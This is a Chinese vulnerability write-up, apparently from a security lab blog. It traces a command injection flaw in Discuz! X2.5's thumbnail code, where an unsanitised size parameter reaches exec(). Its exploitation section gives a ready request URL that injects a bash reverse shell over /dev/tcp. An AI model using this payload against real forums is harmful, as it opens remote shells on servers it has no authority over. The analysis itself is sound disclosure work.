DZ X2.5!远程命令执行漏洞分析

博文作者:阿里巴巴安全研究实验室

发布日期:2015-1-15

0x01 Patch

通过patch比对,可发现/source/class/class_image.php文件Thumb()函数内的第54、58行对$thumbwidth及$thumbheight两个参数增加了intval()操作,继续往下跟踪Thumb函数至Thumb_IM()函数,可以发现这两个参数最终到$exec_str变量,再调用exec()函数被执行。

function Thumb_IM() {

switch($this->param['thumbtype']) {  //type为1时进入

case 'fixnone':

case 1:

if($this->imginfo['width'] > $this->param['thumbwidth'] || $this->imginfo['height'] > $this->param['thumbheight']) {

$exec_str = $this->param['imageimpath'].'/convert -quality '.intval($this->param['thumbquality']).' -geometry '.$this->param['thumbwidth'].'x'.$this->param['thumbheight'].' '.$this->source.' '.$this->target; //参数拼接到$exec_str变量

$return = exec($exec_str); //命令注入

if(!file_exists($this->target)) {

return -3;

}

}

break;

0x02 分析

调用Thumb()函数文件导致漏洞的文件source/module/forum/forum_image.php

<?php

 

….省略…

if(!defined('IN_DISCUZ') || empty($_GET['aid']) || empty($_GET['size']) || empty($_GET['key'])) {

header('location: '.$_G['siteurl'].'static/image/common/none.gif');

exit;

}

 

$nocache = !empty($_GET['nocache']) ? 1 : 0;

$daid = intval($_GET['aid']);

$type = !empty($_GET['type']) ? $_GET['type'] : 'fixwr'; //type为1进入case1

list($w, $h) = explode('x', $_GET['size']); //$w,$h为可控变量

$dw = intval($w); //已处理

$dh = intval($h); //已处理

$thumbfile = 'image/'.$daid.'_'.$dw.'_'.$dh.'.jpg';

$parse = parse_url($_G['setting']['attachurl']);

//var_dump($parse);

$attachurl = !isset($parse['host']) ? $_G['siteurl'].$_G['setting']['attachurl'] : $_G['setting']['attachurl'];

if(!$nocache) {

if(file_exists($_G['setting']['attachdir'].$thumbfile)) {

dheader('location: '.$attachurl.$thumbfile);

}

}

 

define('NOROBOT', TRUE);

 

$id = !empty($_GET['atid']) ? $_GET['atid'] : $daid;

if(md5($id.'|'.$dw.'|'.$dh) != $_GET['key']) { //验证key,$w为字符串转换整形为0,所以key固定不变

dheader('location: '.$_G['siteurl'].'static/image/common/none.gif');

}

 

if($attach = C::t('forum_attachment_n')->fetch('aid:'.$daid, $daid, array(1, -1))) {

if(!$dw && !$dh && $attach['tid'] != $daid) {

….省略若干行….

$img = new image;

//var_dump($w,$h);

if($img->Thumb($filename, $thumbfile, $w, $h, $type)) {  //$w,$h为可控变量,非$dw,$dh经过转换的变量导致恶意变量进入Thumb()函数。

$w,$h变量传入Thumb()函数,文件:/source/class/class_image.php

function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) { //$thumbwidth,$thumbheight可控,为$w,$h变量

//var_dump($thumbwidth);

$return = $this->init(‘thumb’, $source, $target, $nosuffix);

if($return <= 0) {

return $this->returncode($return);

}

 

if($this->imginfo[‘animated’]) {

return $this->returncode(0);

}

$this->param[‘thumbwidth’] = $thumbwidth; //可控,末对变量转换

if(!$thumbheight || $thumbheight > $this->imginfo[‘height’]) {

$thumbheight = $thumbwidth > $this->imginfo[‘width’] ? $this->imginfo[‘height’] : $this->imginfo[‘height’]*($thumbwidth/$this->imginfo[‘width’]);

}

$this->param[‘thumbheight’] = $thumbheight;//可控,末对变量转换

$this->param['thumbtype'] = $thumbtype;

if($thumbwidth < 100 && $thumbheight < 100) {//此时的$thumbwidth为0

$this->param['thumbquality'] = 100;

}

var_dump($this->libmethod);

$return = !$this->libmethod ? $this->Thumb_GD() : $this->Thumb_IM();

$return = !$nosuffix ? $return : 0; //当libmethod为True时,调用Thumb_IM()函数导入漏洞产生,默认libmethod的值为0,所以利用需要开启IM功能,后台设置。

 

return $this->sleep($return);

}

漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。

0x03 利用

通过分析可知。需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。前台登录发贴上传附件,上传图片附近,预览抓包修改为以下链接。

GET /dzx25/forum.php?mod=image&aid=1&size=|bash%20-i%20>%26%20/dev/tcp/127.0.0.1/8888%200>%261|x300&key=68b54146d9d1bfb2ebb38f44f2427454

&nocache=yes&type=1&ramdom=xfie9

TB1kqmkHXXXXXX3aXXXXXXXXXXX[1]

发表评论